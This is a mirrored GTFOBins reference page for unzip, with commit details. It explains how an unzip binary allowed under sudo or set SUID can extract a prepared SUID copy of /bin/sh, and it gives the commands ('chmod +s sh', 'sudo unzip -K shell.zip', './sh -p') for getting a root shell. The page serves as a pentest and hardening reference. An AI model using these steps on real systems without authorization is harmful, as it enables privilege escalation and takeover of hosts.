1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00
GTFOBins.github.io/_gtfobins/unzip.md
Pablo 2b769ace78
Add unzip
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-07-13 15:03:27 +02:00

460 B

description functions
Certain `unzip` versions allows to preserve the SUID bit. Prepare an archive beforehand with the following commands as root: ``` cp /bin/sh . chmod +s sh zip shell.zip sh ``` Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate).
sudo suid
code
sudo unzip -K shell.zip ./sh -p
code
./unzip -K shell.zip ./sh -p